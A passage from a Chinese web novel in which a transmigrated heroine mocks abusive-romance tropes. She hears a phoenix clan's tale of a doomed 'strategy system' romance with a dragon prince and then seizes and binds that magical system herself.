穿上它后，虽然不会让人瞬间成为神话故事里那位真正的九天玄女，也不会拥有传说里九天玄女那样的超强战斗力和军事韬略。 但它却会给穿着者附带上【高深莫测】和【凛然不侵】的光环，让每一个看到穿着者的人都暗自惊惧，或忌惮或仰慕或敬服，认为穿着这身衣服的人必然是一位高人，心中不敢生出半点冒犯之心。 而顺着这套衣服向上看，能看到如今人气最高、排行第一的衣服，名为【巫山神女】。 巫山神女指的是瑶姬，即“襄王有意，神女无心”里的神女。 虽然她有“旦为朝云，暮为行雨”的传说，有兴云降雨之能，后世更是被附加了“巫山云雨”的艳情传说，但不可否认，她的确是个比较冷门的神话人物。 而这套以冷门神话人物为名的衣服，之所以能力压众美，排上第一名，是因为它有一个非常神奇的能力，即【入梦】！ 只要是对穿着这套衣服的人好感度达到一定程度，都能被衣服的主义引入梦境，算是自带一个进可攻退可守的技能。 这确实是比【九天玄女】那不知道灵不灵光的逼王光环要好使。 除此之外，这个页面里还有可让穿着者变身美人鱼的衣装【海的女儿】，有提升思考能力、让人头脑清醒的【智慧女神】，等等。 虽然它们价格昂贵，但却是一等一的好用，哪怕得到一套都能用一辈子，稍稍动动脑筋，就再也不用发愁报复渣男的事了。 所以，颜辞云也越发不能明白，任务者到底为什么要用当老黄牛的方式去“报复”渣男。 难道说，悔恨值真的这么难以获取，所以任务者实在舍不得花？ 就像一些艰苦了一辈子的人，因为曾经过得太苦，所以日后哪怕发了财，也过得抠抠搜搜，实在是“省钱”这个操作融入了骨血，再也改不掉了。 是这个原因吗？ 这样想着，颜辞云翻到了第三页。 喝！好家伙！ 这一页竟然全都是丹药！ 给凡人用的美颜丹润肤丹洁体丹大力丸样样不缺，更高一级的洗髓丹筑基丹清心丸悟道丹更是应有尽有！ 颜辞云仔细看了一下，发现那些给凡人用的丹药都十分便宜，大力丸甚至只要20点悔恨值，而一个任务如果完美完成的话，是可以进账100点悔恨值的。 颜辞云想，这大力丸可真是虐文女主的保命神器，虽然贵了点，但有了大力丸后，再配合虐文女主的小强体质，哪怕是男主来了想对女主开虐，也得被一巴掌抽成滚地葫芦吧？ 这位任务者为什么不兑换呢？ 正这样想着，下一秒，任务者就轻车熟路地兑换了大力丸。 然后—— 工作得更努力了。 甚至她还主动凑到青梅面前，非常配合地被对方陷害了一把后，再挨了慕容寻一大耳刮子后，捂着脸，对那个咆哮着骂她“恶毒”的男主露出一个倔强含泪的眼神。 “清白二字，我已经说倦了。” “慕容寻，你如此识人不明，眼瞎耳聋，总有一天你会后悔的！” 慕容寻：“我只会后悔我竟然爱过你这个毒妇！滚，你给我滚！日后没有我的允许，你再不许踏出院子一步！更不准再来害卿卿！” 倪静如不可置信：“你竟然为了这个妾，要禁我的足？！” 慕容寻：“卿卿可不是什么妾，她现在是我镇国公府的客人，日后是我镇国公世子的平妻。更别说她出身书香门第，自幼饱读诗书，出入的也都是公卿门第，像你这种满身铜臭的低贱商人之女，如何能跟卿卿相比？” 倪静如：“我再低贱，不也是你强抢来的吗？！” 慕容寻：“所以我已经还了你十年的荣华富贵，低头讨好了你十年，难道还不够吗？！ “你为何不想想，如果没有我，你哪里能成为世子妃、哪里能站在这里跟我说话、哪里有攀上镇国公府的资格？倪静如，我已经对你仁至义尽了，你不要不知好歹！” 倪静如：“仁至义尽？好好好，我被你慕容寻强抢而来后，没有一天不尽到为人妇的责任。我为你孝敬公婆，我为你操持内宅，甚至这个镇国公府都是我的嫁妆养起来的，慕容寻，你这样翻脸无情对得起我吗？！” 慕容寻勃然大怒：“荒谬！我镇国公府世代公卿，家底厚重，哪里是你一个小小商人之女能比得上的？ “我没有指责你偷拿我镇国公府的库房补贴你娘家，就已经是看在我们过往情面上放你一马了，你如何还有脸面说是你的嫁妆撑起了我镇国公府？倪静如啊倪静如，没想到时隔十年，你如今不仅恶毒，竟还无耻！” 倪静如：“明明是……” 慕容寻：“够了！我不想再听你的狡辩了！把公中的对牌交出来你就可以滚了！日后若是无事，你也不必再出你的芳菲苑了！” 倪静如含泪看他，竟真的没有再继续说了，只是双眼通红，胸膛剧烈起伏，像是下一秒就要喷出无尽戾气，伤人伤己。 可就在颜辞云以为任务者要甩出倪静如这些年来养镇国公府的证据，站在道德至高点辱骂慕容寻的狂妄自傲、坐井观天，又或者是把挑子一撂嫁妆一收，让慕容寻试试“镇国公府丰厚的家底”到底有多厚时，任务者却是把头一扭，对牌一丢，走了。 走……了…… 没有甩出证据，没有收回嫁妆，甚至都没有把那一巴掌给慕容寻扇回去。 她就那么——走了！ 单纯地走了！ 颜辞云：你……我……这…… 算了。 不忍细看任务者的任务执行过程，主要是怕自己一不小心被气死，颜辞云便一心三用，注意力在三个视角来回跳跃。 除了任务者开商城时她必定会仔细观察，试图探究这个“怨念化解系统”的来历，看能不能找到蛛丝马迹、顺藤摸瓜地找到“系统”本体之外，其它的大部分时间，颜辞云基本都在游历大启王朝，以任务者为样板，收集这个朝代发生过的“奇人轶事”。 顺带，颜辞云还想要去“神之部族”看一看所谓的水神共工和火神祝融。 虽然，在知道这个世界被虐文入侵后，颜辞云对神之部族已经不抱有什么期待了。 至于传说中可能会发生的“共工怒而触不周之山，天柱折，地维绝”的大场面，颜辞云也觉得自己应该是看不到了。 但颜辞云实在好奇“神之部族”里正神们的水准，想知道继胡拉坎小世界里150炁就能打一场神战的神灵之后，这方小世界里的神又有什么样的水准。 因此，颜辞云来到大启王朝的边境后，在青阳元德两名侍卫的强烈恳求下，像是揣着两个挂件一样地带上了他们，接着两腿一迈，直接跨越了他们口中的“神人之限”，向着传说中最强大的水之部族飞去。 但奇妙的是，在抵达水之部族之前，颜辞云就遇到了逃难的凤凰一族。 颜辞云虚眼一看，奇怪发现这自称凤凰的一族，长得其实跟火鸟挺像，能力也很像，都是御火。 可大世界里的火鸟却是从来不自称凤凰。 这头，颜辞云心里偷偷嘀咕，而那一边，凤凰一族的族长却非常有眼力见，一眼就看出揣着两个人类在大荒行走的颜辞云绝非常人——是的，在“神人之限”这一头的大陆，就叫做“大荒”。 因此，这凤凰一族的族长以颜辞云极眼熟的姿态，一个滑跪，一把鼻涕一把泪地诉说了自己凤凰一族险些被灭的惨案，并哭着喊着要抱颜辞云的大腿。 且不提这个抱大腿的行为究竟如何。 从这个凤凰一族的族长口中，颜辞云倒是意外知晓了两件事。 第一件事是，凤凰一族其实是因共工和颛顼的大战而遭了池鱼之殃，整座凤凰林都被相繇的毒气熏没了，这才不得不搬走的。 颜辞云：啊？等等你说谁？ ——相繇？ 虽然神话故事里出现一些同名的小怪兽很正常，但不知道为什么，这一刻的颜辞云心脏怦怦狂跳，第一时间切了视角，操控本体狂奔到石原，在相繇的毒气沼国上迅速飞了一圈，然后倒抽一口冷气。 坏了，真没了！ 那个相繇，那个连系统都定性为凶兽的小怪兽，它竟然真的从石原跑了！ 甚至是岩浆池那边的三头犬刻耳柏洛斯，甚至还有那头记忆只有七秒的年兽——它们全都不见了！ 怎会如此？ 这一瞬间，颜辞云又惊又疑，完全想不到一个封死的石原是怎么让三个巨大的怪兽悄然消失不见的。 明明空间裂隙也只出现在台州呀，与金丘这边隔着十万八千里呢……不对，等等！ 她好像只封死了陆路，没有封海路？ 因为她想着这三个恶兽都不会飞，也不会越海，所以就没管海路了。 所以，这三只怪兽莫非是在她不知道的时候，偷偷学会了跨海，从海上越狱了？！ 那……那这个把凤凰林喷没了的相繇，会是从大世界越狱到台州、又通过台州的裂隙偷渡到小世界里的凶兽相繇吗？ 不、不会吧？ 没有这么巧合的事吧？ 莫名的，颜辞云又开始汗流浃背了。 但还好，凤凰族长带来的第二个消息，很快让颜辞云松了口气，腰背也挺了起来。 原来，那凶恶的相繇虽然在战争中狂喷毒水，毁了凤凰林，逼迫凤凰一族不得不进行迁徙，但凤凰一族险些灭族的事情，却跟它没有太大相干。 真正让凤凰一族差点全军覆没的，其实是龙族的突袭与进攻。 “龙族？”颜辞云困惑问道，“龙族为何要攻打你们？” 凤凰族悲叹一声：“这就要从我们凤凰一族的第一美人，凤清姿，和龙族佛子龙斯年说起了。” 颜辞云：“……” 不是，你说什么？ 龙族，佛子？ 龙族他好好的不当龙，去当佛子？ 而且他还叫“X斯年”？ 这一刻，颜辞云又一次听到自己心里咯噔的声音连成一片： 坏了，它来了！ 佛子文学也来了！ 第115章 开幕雷击 经典再现啊！…… 就和颜辞云预感的一样不妙。 凤族族长的故事一开始就非常炸裂： “我们凤凰一族的第一美人凤清姿，在诞生后的第一句话就告诉我们，她是带着攻略系统转世而来的异界之人，目的就是为了攻略龙族少主，佛子龙斯年。如果失败，她就会死。” 颜辞云：啊？ 颜辞云再一次有点汗流浃背了：这、这个……先不说带着攻略系统转世异界这件事。重点是，这种攸关性命的事，是可以随随便便就告诉别人的吗？ 事以密成，语以泄败。 这么重要的事，为什么可以这么坦荡地告诉别人？ 莫非是障眼法？ 可她的目的呢？ 凤族族长继续说：“所以在她成年的那一天，我们将凤清姿送到了龙族的学院，并向龙族少主提出了联姻的建议。” 颜辞云：“……” 原来是她想多了。 可你们也太配合了吧？ 那可是占据了你们一族幼崽身体的异界来客啊！你们难道一点都没有为这个事纠结过吗？ 还有龙族的学院？这是什么东西？感情这个故事不但带了“系统”标签和“佛子”标签，甚至还带了“校园爱情”的标签是吗？ 在妖魔满地的荒蛮时代玩校园爱情。 糟糕，这件事的槽点好多。 已经不知道该说什么了。 在颜辞云越发微妙的沉默中，凤族族长接着往下说： “龙族族长并没有直接答应我们的联姻请求，只说要考虑一下，说要看龙族少主自己的意愿。” 颜辞云：听起来还挺正常。 凤族族长：“所以在抵达龙族的第一天，我们凤族的凤清姿就告诉了所有人，她是为了攻略龙斯年而来的。如果龙斯年不要她，她就只能去死。” 颜辞云：“……” 啊？？！！ 不是姐们。 你也太坦荡了吧？！ 为什么这种事你可以这么大声地告诉所有人啊？！ 而且这种做法对你到底有什么好处？ 如果你真的是为了攻略而来，谁又会为自己成为别人的攻略对象而高兴？谁又会真心喜欢上一个怀有目的而来的“爱人”？ 你这不是没苦硬吃、没事找事，平白给自己增加难度吗？ 还是说你其实根本没打算好好谈恋爱，而是准备走道德绑架的路子，让别人背负上你的性命后，不得不在舆论的压力下交出“爱意”？ 可道德绑架这种事只有对有道德的人才有用吧？ 你就那么确定那位“龙族佛子”是有道德的？ 凤族族长：“龙斯年直接拒绝了。” 颜辞云：我就知道！！ 凤族族长：“但我们凤凰一族的第一美人岂是浪得虚名？所以在凤清姿与龙族少主相处的第一百年，龙斯年终于被我们凤凰族第一美人的诚意打动，答应要娶她了。 “那本该是一场盛大的婚礼，上至天庭仙神，下至人间帝王，所有人在听到龙凤一族结合的消息后，都早早地开始准备贺礼！可是……可是就在婚礼的前一个月，凤清姿那个丫头却失魂落魄地回来了。 “她告诉我们，龙斯年当年死去的白月光复活回来了，而龙斯年之所以会松口答应过娶她，竟然也是因为她和龙斯年的白月光就九成相似。她伤心极了，她说她不想和龙斯年成亲了。” 颜辞云：“……” 白月光替身文学也出现了是吧？ 天呐救命！ 一个不到一千字的故事里到底为什么能塞进这么多的要素啊！ 凤族族长：“她还告诉我们，她的攻略任务已经被系统判定失败了，还剩最后三十天、也就是在预期中与龙斯年大婚的那一天，她就会彻底死去，离开这个世界。而这三十天里，她会走遍世界，与这个世界的一切做一个最后的告别。” 颜辞云：原来如此，是倒计时文学。 凤族族长：“三十天后，我们果真收到了清姿那丫头的死讯，但是，她竟然不是被那个什么‘系统’带走的，而是死在了龙斯年的手上！是龙斯年！是龙斯年掏出了清姿的凤凰真火，用它去修补他白月光破损的神魂！是龙斯年害死了清姿！！” 颜辞云迟疑了一下：这……算是仙侠版割腰子文学？ 凤族族长神色愤慨，眼中冒火：“那个龙斯年，说什么凤凰三百年一涅槃，反正马上就要到清姿涅槃的时候了，所以清姿哪怕失去了这一朵凤凰真火也不打紧…… “可他如何知道，当年他与神之部族大战，重伤垂死，清姿为了救他已经用掉了自己这一期涅槃的凤凰真火，那龙斯年挖走的，是清姿的本命真火啊！” 因为故事太癫了以致于一点伤感都没生出来的颜辞云迟疑道：“那……节哀？” 想了想，颜辞云又道：“可是，按照你这样的说法，难道不是龙族对不起凤族吗？为何龙族竟还要来攻打你们？” 凤族族长这一次没有听到颜辞云的问题。她只沉浸在了那段跌宕起伏、波澜壮阔的往事里，拳头紧握，说道： “还好，还好清姿是异界之人，魂魄受到‘系统’的保护，不至于因为身躯的死亡而魂飞魄散，反而回到了我们身边，在那个脱离程序结束前好好陪伴了我们一段时间。 “在那段时间里，整个天上地下，都能听到那个高高在上的龙族佛子发疯的声音……哈，原来是他终于发现清姿的凤凰真火早就给了他，原来他终于发现他那个白月光什么病痛都没有，原来他终于发现清姿再也不会回来了，而他却早已经爱上了清姿。 “但这又有什么用？哪怕他将他的白月光扒皮抽筋千刀万剐，又如何换得回清姿？晚了！晚了！！如今一切都晚了！！” 颜辞云恍然大悟： 哦，原来是倒计时文学失败后转而变成了死人文学是吧？ 所谓的死人文学，就是虐文女主在被男主凌虐至死后变成魂魄，跟在男主身边，看着男主因失去她而悔悟发疯，哪怕他千百倍地对着女二虐待回去，却也怎么都换不回女主，最后只能凄凄惨惨地在权势的环抱下，坐万里江山享无边孤单。 经典再现啊！ 颜辞云不知道自己这一刻该露出什么表情。 如果一定要露出一个表情，那应该是“地铁老爷爷看手机”的表情。 颜辞云问：“所以龙族对凤族的攻打是因为——？” 凤族族长恶狠狠一笑：“还能是因为什么？还不是因为那龙斯年在责怪我们凤族没有好好保护清姿？还不是因为那龙斯年在怨恨我们一族为清姿隐瞒了她用凤凰真火救他一命的事实？” 颜辞云：“啊？” 不是，哥们，你莫不是点了神级的金蝉脱壳天赋，这责任还能这么推卸的？ 凤族族长恨恨说道：“无耻至极，连自己的所作所为都不敢承担责任的懦夫！还什么佛子、什么龙族少主呢，他也配？我呸！” 颜辞云觉得，在这个每个人都好像在发癫的故事里，恐怕也只有凤族族长的这最后一句话说得像个正常人了。 除此之外，无论是那个大咧咧说“我有系统，我要攻略龙斯年，得不到他的爱我就会死”的凤清姿，还是那个白月光替身掏腰子文学齐上的龙斯年，都癫得不像话。 就连凤族龙族也莫名癫癫的。 当然，前提是凤族族长说的这一切都是真的。 “现在距离那位攻略者死后已过去多久了？”颜辞云问，“她的灵魂现在还在这里吗？” 一边说着，颜辞云一边扫视四周。 但她的视野里空无一物。 没有什么灵魂，也没有什么“系统”。 凤族族长说：“清姿她已经死去一年了，她的魂魄只在最初停留了十天时间，之后就再没有回应过我们了，应该是那个什么脱离程序完成了吧。” 难怪找不见那个“攻略者”。 不过…… 颜辞云目光微动，看了凤族族长一眼：“你不怪她吗？” 说话间，颜辞云的眼神越过凤族族长，看向了她身后人员凋敝的凤凰一族。 “为了一个来自异界的攻略者，你们凤凰一族遭到无妄之灾，被龙族突袭，族人十不存一，最后甚至不得不离开族地……关于这一切，你就不恨那个攻略者吗？” 凤族族长表情迟疑了一下：“可是……这不是龙斯年的错吗？” 这一刻，颜辞云发现这位理论上来说已经活了千万年、涅槃过无数次的凤族族长，目光是野兽一样的直来直往和澄澈见底。 凤族族长说：“一切的灾难，都是龙族的那个龙斯年引起的，一切的罪恶都是他犯下的，清姿只不过是喜欢了一个人而已，如果我们迁怒她的话，那我们跟龙斯年又有什么区别？” 颜辞云惊讶挑眉，然后笑了起来。 这一刻，她终于明白，为什么那个攻略这在把“攻略”把“系统”挂在嘴边后，却也得到了凤族的全力配合。 而颜辞云也明白了，为什么明明是与龙族并称的凤族，但却在面对龙族的进攻时一败涂地。 在颜辞云看来，哪怕龙族是突袭，但作为实力与龙族相差不大的凤族，怎么都不该落败至此才对！ 可如今，原因已经找到： 因为龙族是“人”，而凤族是“兽”。 人有五毒六欲七情八苦九难，一生都被狂乱无序如海啸的情绪和欲望所支配。 这是“人”的幸运，也是“人”的不幸。 因为当他们被这狂暴的情绪和欲望支配、达到盛极时，他们所在文明的攻击性也会达到盛极，虽会被大势煽动和裹挟，但人类的灵光与豪杰却也会如群星闪烁，在这样的煌煌大势下做到许多后世之人认为不可能做到的事。 哪怕当这样的情绪和欲望消耗殆尽后，大势又会如海潮跌回，他们的文明也往往给会因此陷入颓靡，直至毁灭。 这与王朝的周期性其实是相似的道理。 颜辞云曾经亲眼见证过两个文明的毁灭，对这些东西自然并不陌生。 只是她没有想到，这样的事竟然也发生在了龙族身上，而受害者，竟是依然保持着“兽性”的凤族。 颜辞云思考了一下，没有再在这件事上多言，而是继续问着有关攻略者凤清姿的事：“她离开的时候，有没有说自己会去什么地方？” 凤族族长摇头：“清姿只告诉我们，她并不是真正地死去，而是会去一个很远很远的地方，在那里，一切或许会有转机。” 颜辞云继续问道：“那她有没有留下什么有关‘攻略’和‘系统’的东西？” 凤族族长先是摇头，但仔细想了想后，又说：“如果一定要说留下了什么……那恐怕只有龙斯年那里的凤凰真火和本命真火了吧。” 颜辞云若有所悟，点了点头。 接下来，颜辞云又向这位凤族族长打听了有关共工和颛顼大战的一些事，对这起世界性大事件的走向稍稍有了点底后，便随手拉开一个通往大世界的台州的空间通道，让这些残存的凤凰一族去那边避避难。 就当是对她们提供的这些信息的回报。 而之后，摆在颜辞云面前的有两个选择。 第一个选择是，不去管那糟心的虐文故事和不知来历的系统，直接去跟进共工和颛顼之战，看这场战役最后到底会不会打到“天柱折，地维绝”的地步，好及时做出应对。 第二个选择，则是继续追踪这个虐文故事，看能不能从凤清姿遗留的凤凰真火和本命真火里找到“系统”的痕迹，顺便对比一下凤清姿的“系统”和倪静如的“系统”的区别。 说实话，颜辞云总觉得这个“系统”给她的感觉十分古怪，和她的金手指系统是截然不同的感受。 更何况，一个小世界里竟然会出现两个系统和两个任务者？ 原本颜辞云还以为这个小世界里的奇葩故事，都是那位“倪静如”的手笔呢。 结果现在竟然告诉她，这里很可能有第二个、甚至第三个第四个携带系统的任务者？ 该说不说，这个小世界是不是漏洞太多，漏得都像是个筛子了？ 颜辞云沉吟片刻，最后还是决定： 跟进那个虐文故事！ 共工和颛顼所在的两个部族大战，打了也不止一天两天了，而是打了一两年了。 天知道他们要打到什么时候去。 颜辞云总不可能一直等着吧？ 虽然她开了三个号其中的一个号还在围观虐文女主生活怎么都不算无聊……但总不可能一直等着吧？！ 所以，还是去龙族龙斯年那里转一圈先。 因为颜辞云是真的很想要知道，那个攻略系统到底是怎么个来历。 这样想着，颜辞云随手提着自己的两个挂件和向导，飞去了龙族的方向。 这回，颜辞云搞出的动静非常小。 因为理论上来说，龙族族地这会儿正因龙族少主的发癫，已经变成了一个戒备森严的恐怖之地，所以颜辞云如果不想大开杀戒、一路杀进龙族族地深处，她就应该谨言慎行小心行事才对。 可“理论上”之所以是“理论上”，就是因为它与事实差距极大。 颜辞云惊愕发现，自己飞进龙族族地的这一路上，几乎称得上是畅通无阻。 那些本该留守族地的龙族们，此刻都不知道哪儿浪去了，搞得整个龙族族地空荡荡的，简直就是个无龙区。 颜辞云一路深入，很快就来到了一个和人间皇宫一样气派的地方。 这里一定就是龙族的皇宫了！ 颜辞云扫视一圈，很快锁定了一座最辉煌最气派的宫殿。 虽然按照常理来说，这里应该住着的是龙族族长而非龙族少主。 可虐文故事的男主怎么可能屈居第二？ 屈居第二的男人怎么配成为虐文男主？ 所以这个最气派的宫殿，必然住着最牛逼的男主。 ——就是你了！ 颜辞云毅然向这座宫殿飞去。 而飞到一半，颜辞云就听到了一个似曾相识的声音： 【检测到龙斯年悔意值达到100%，请问是否开启时光隧道，回溯时间，拯救凤清姿？】 【什么声音——你？难道你就是系统？你把清姿还给我！你把她还给我！你一定能把带回来的，对不对？】 【请问是否开启时光隧道，回到一百年前，斩断你们之间的缘分，拯救凤清姿？龙斯年，你只有这一次机会。】 【我……】 宫殿深处，与系统对话的声音陷入迟疑，像是在进行一场的天人交战。 而宫殿外，颜辞云大惊失色。 啊？ 啊？不是，你还要回溯一百年时间再来一次？ 可别！ 这种癫文故事看一遍就够了，赶紧打住！！ 颜辞云冲进龙斯年的宫殿，目光在落在龙斯年身上的瞬间，就开启了【支配】技能。 于是，前一秒还看着闯入宫殿的颜辞云露出震怒的龙斯年，下一秒就变成了人机哥。 颜辞云眼中神光闪烁，对着龙斯年上下一扫，发现这位人机哥身上的确有一种她曾在倪静如身上见过的奇妙波动时，她终于松了口气。 “很好……” “总算抓住你了。” 所谓的……系统。 第116章 悔改 你怎么不上天呢？！…… 颜辞云一直很想弄明白，这所谓的系统是怎么回事。 她直觉认为，这个所谓的“系统”的到来，很可能与这方小世界漏成筛子一样的理由有关。 因此，颜辞云每时每刻都在关注着“倪静如”身上的系统，没有错过任何一次她打开系统商城的时机。 但很遗憾，仅仅看别人开关商城的动静，是远不足以成功捕捉到一个系统的，而若要让颜辞云抢走任务者的系统拿来研究、甚至是直接动手干掉任务者，那都也不至于。 所以颜辞云一度以为，自己和那个任务者“倪静如”大概就是比谁更命长的关系。 可谁能想到世上的事竟这样巧妙？ 恰好有第二个任务者来到了她面前，又恰好对方任务失败、与系统正处在脱离状态中。 天与不取，反受其咎！ 颜辞云二话不说，趁着系统现身且未与龙斯年绑定的时机，一把将这个所谓“系统”捉住！ “系统”是无形无质的。 当风也留下过踪迹，水也遗留过印痕，就连灵魂也有其特殊的形状时，这所谓的“系统”除了一股微妙又微弱的能量波动外，竟然没有在这个世界上留下更多痕迹。 但还好，既然还会留下能量，就代表它还会被能量束缚。 而“炁”，恰好就是能量的一种。 因此，颜辞云轻轻松松就把这“系统”捉在手里，用炁形成一个全然封闭的牢笼，任由它像无头苍蝇一样在笼子里撞来撞去，自己则仔细查看起了这系统的真面目。 不看不知道，一看吓一跳！ 别看这系统小小一个，被颜辞云手拿把掐的，身上的能量波动也极不起眼。 可事实上，它其实是一个钥匙——一个开启更丰富多彩、绚烂多姿的世界钥匙！ 而更不可思议的是，分明这个系统自称是“攻略系统”，与任务者“倪静如”的怨念化解系统似乎并非一个体系，可当颜辞云通过这把钥匙撬开新世界的大门后，她愕然发现，这两个系统通向的竟是同一个系统商城！ 没错！ 颜辞云仔细翻过了。 虽然这两个系统商城的界面并非全然一致，但UI却极为相似，简直就是某种换皮游戏。 而商城里的购买货币，虽说一个叫做“悔恨值”一个叫做“攻略值”，听起来似乎并不相同，但仔细一瞧里头出售的货物，不能说大致相同，只能说一模一样！ “这、这个……” 莫非这两个系统是桃宝与拼夕夕的关系？ 莫非这两个系统商城的背后还有真正的“卖家”？ “不……冷静一点……” 思绪太发散了，往回收一点。 颜辞云扫空脑中猜想，看了一眼右上角的货币余额。 攻略值：0 空得就像是月光族月底的钱包。 想要买点东西试试水花的想法就此破灭，于是接下来，颜辞云干脆试着用暴力的方式破译这个拼夕夕，不，破译这个“攻略系统”APP。 俗话说，术业有专攻。 从来没当过能量黑客的颜辞云，发现自己虽然能够成功破译系统的能量护罩，暴力翻出对方的底层“代码”，可…… 可这些“代码”是什么意思？ 那每一个“代码”的符号都代表着什么意思？ 要搞定哪一个符号，才能顺藤摸瓜地摸到系统的“服务器”？ ……不知道啊。 思考了三秒，颜辞云沉痛放弃了开盒系统的打算。 可要让颜辞云就这样放走到手的系统，那也是万万不可能的。 因此，艺高人胆大的颜辞云脑筋一转，飞速做下一个决定： 不入虎穴，焉得虎子？不如干脆把这个系统直接绑在自己身上，近距离感受它威力的同时，再想办法抓住它的马脚？！ 颜辞云一拍手，觉得自己的想法真妙！ 并且，她的这个决定也并非是鲁莽，更不是什么异想天开。 因为，别忘了，如今身处这方小世界的，可不是颜辞云的本体，而是颜辞云那具自带【身披华光】天赋的神力马甲。 这也就代表着，这具神力马甲如果想的话，是很方便用来进行攻略任务的，可以迅速获取大量的攻略值投入系统商城，看看水花。 并且，日后万一真的遇到什么麻烦事，比如说不小心把商城刷爆了、不小心把系统刷爆了，不小心把任务刷爆了什么的，也能随时抛弃马甲，玩一出金蝉脱壳，不至于牵连到本体。 反正一具神力马甲的成本也就是150炁左右，她消耗得起！ 迅速理清思路、想好退路后，颜辞云说干就干，一巴掌把这团能量拍进了自己脑袋，等待链接的建立。 【检测到智慧生命，扫描中……检测错误！】 但只是一秒的时间，这个小攻略系统就开始疯狂报错。 【错误101：检测到异种能量载体，此能量载体已被标记为“怨气化解系统”。】 颜辞云一愣：有点水平啊，这小系统竟然还能检测到她另一个马甲与怨气化解系统的联系？ 那会不会顺藤摸瓜找到她的本体？ 颜辞云分了个神，把注意力切回本体，感受了一下： 没有危险！ 小小系统，最多在这方小世界兴风作浪罢了。 想冲进大世界搞她？ 不可能的！ 颜辞云稳坐钓鱼台，切回视角，继续看这小系统疯狂自检。 【错误306：检测到异常用户数据，此用户后台身份登记为“XXX，年龄29，信用号0229********1131”……】 颜辞云尴尬了一瞬：这里曝出的信息，难道就代表着攻略者“倪静如”的真实身份？ 真是不好意思，害这位来自异界的任务者被这个小系统开盒了。 不过，这小系统信息调查速度这么快，与其说是它把另一个系统的绑定用户“开盒”了，倒不如说是两个系统的后台用户数据本来就是互通的……坏了，它们不会真的是桃宝和拼夕夕的关系吧？ 【错误909：检测到强烈能量风暴，进入自动规避……】 颜辞云心念一动，刚感到脑袋里的攻略系统想要跑路，下一秒，真正属于颜辞云的系统的声音响起了： 【检测到异种能量载体试图与玩家建立链接，请玩家选择：】 【A、将此异种能量载体投喂系统，修复系统数据库（强烈推荐）】 【B、解除阻止，并将此异种能量载体列入白名单（不推荐）】 【C、解除阻止仅此一次】 【D、保持阻止】 颜辞云一呆：什么？这小系统竟然还可以用来投喂自己的金手指、帮助修复自己金手指的系统数据库？ 想到自己穿越之初由系统弹出的修复提示，以及提示信息里不知道要修到猴年马月的时间，颜辞云忍不住可耻地心动了一秒。 可下一秒，颜辞云就忍痛放弃了。 算了，算了。 这个攻略系统现在还有用呢，可不能就这么给她的金手指当零食嚼了。 下次一定，下次一定。 这样想着，颜辞云选了【C、解除阻止仅此一次】。 于是，金手指松了松手，大发慈悲地放过了这个小小的攻略系统。 【能量风暴规避成功！自检中……自检完成！】 攻略系统完全没有察觉到哪里不对，喜滋滋地自检。 【检测到智慧生命，扫描中……检测错误！】 但它检着检着，味儿又不太对了。 【错误101……】 【错误306……】 【错误909……】 下一秒，金手指的声音又响起了—— 【检测到异种能量载体试图与玩家建立链接，请玩家选择：】 【A、……】 【B、……】 【C、……】 【D、……】 颜辞云：“……” 干啥啊。 别搞。 你们可是高级AI，别表现得跟人工智障一样。 颜辞云再次选了C。 但，十秒后—— 【检测到异种能量载体试图与玩家建立链接，请玩家选择：】 【A、……】 【B、……】 【C、……】 【D、……】 颜辞云：“……” 鬼打墙啊你！ 颜辞云狂戳自己的金手指。 “快！系统，快用你万能的金手指想想办法啊，我要绑定这个小系统！我知道你做得到得，快帮帮我啦！” 不过，这句话一出口，颜辞云就觉得有些不对了： 等等，既然都要让自己的金手指想办法了，那她为什么不让自己的金手指直接想办法入侵这个小系统，直接解析对方的底层代码，而是非要绑定攻略系统自己来？ 这不是绕弯路吗？！ 颜辞云心中生出了些懊恼，可很快的，她转念一想，又飞快安抚好了自己： 算了，弯路就弯路吧。 谁的人生不会走过几条弯路呢？ 更何况，她也不能什么大事小事都求助金手指。总得有些事是要她自己做的。 当她有了亲自破解“系统”的经验后，日后的自己如果再遇到这种东西、并且那时候身边还没有金手指的帮助时，她也能靠着自己这一次的破解经验，轻车熟路的自救，不是吗？ 就当是积攒经验了！ 想到这里，颜辞云心中的紧张也慢慢放松下来。 因颜辞云最终没有修改自己的要求，人工智能金手指很快给出了颜辞云新的选项： 【检测到异种能量载体试图与玩家建立链接，请玩家选择：】 【A、强行接管此异种能量载体的主控权（此选项可能对此能量载体造成不可逆伤害）】 【B、一定程度上接管此异种能量载体的主控权（此选项可能对此能量载体造成伤害）】 【C、创建虚拟脑域，与此异种能量载体建立一定程度的联系（此选项需要玩家投入更多注意力）】 对对对，就是这个！ 选项【C】！她要的就是这个！ 感谢你，万能的金手指。 下次再遇到这种的小系统她一定会把它当零食投喂给你的！ 颜辞云迫不急的地再次选了【C】。 于是下一秒，颜辞云感到自己的头微微一沉，继马甲风里希、与任务者“倪静如”的公用马甲后，第三个马甲也被开辟出来，连上了这个攻略系统。 【检测到智慧生命，扫描中……建立连接成功！】 【欢迎回来，宿主“韩心文”。您的上一个任务“攻略龙族佛子龙斯年”已失败，请您选择：】 【A、转入怨气化解系统，引入悔恨值】 【B、重启时间线，进行第二次攻略（需攻略值10000）】 【C、转移系统主控，引导龙斯年进行反向攻略（数值错误，此选项已冻结）】 颜辞云先是一愣，而后若有所思。 所以……这个小系统是把她当成了上个任务者凤清姿，也就是韩心文？ 而韩心文对凤族族长说的“有转机”，其实就是攻守易位，把攻略任务抛给龙斯年，让龙斯年反向攻略她？ 倒是一个聪明的选择。 就是凤族有点无妄之灾了……不过既然时间能重启，那这点无妄之灾也不算什么了。 但就是说，这小系统什么来历？ 它连时间都能重启？这么厉害的吗？！ 颜辞云是真心想要试试它重启时间的功能，看能不能观摩学习一下。 只可惜，因刚刚她的一番捣鼓，选项【C】被废掉了，而选项【B】又没有足够的攻略值，所以如今留给颜辞云的选择，就只有【A】，引入悔恨值这一项了。 “啧……你们两个系统，果然有联系！” 只剩下选项A，那就选择选项A吧。 反正对于如何搞到悔恨值这件事，颜辞云早已经心中有底了！ 因此，当龙斯年从莫名其妙的恍惚中回过神后，还没等他看清自己的处境，一个大耳刮子就落在了他的脸上。 啪！ 一记结结实实的耳光，抽得龙斯年头狠狠偏了过去，脑袋一阵宕机，唯有耳鸣声嗡嗡不停。 龙斯年茫然了。 龙斯年震惊了！ 他、他竟然…… 被人抽了耳光？！！ 隐约间，龙斯年听到有什么声音在自己耳畔响起。 可嗡嗡的耳鸣声中，他实在是听不见。 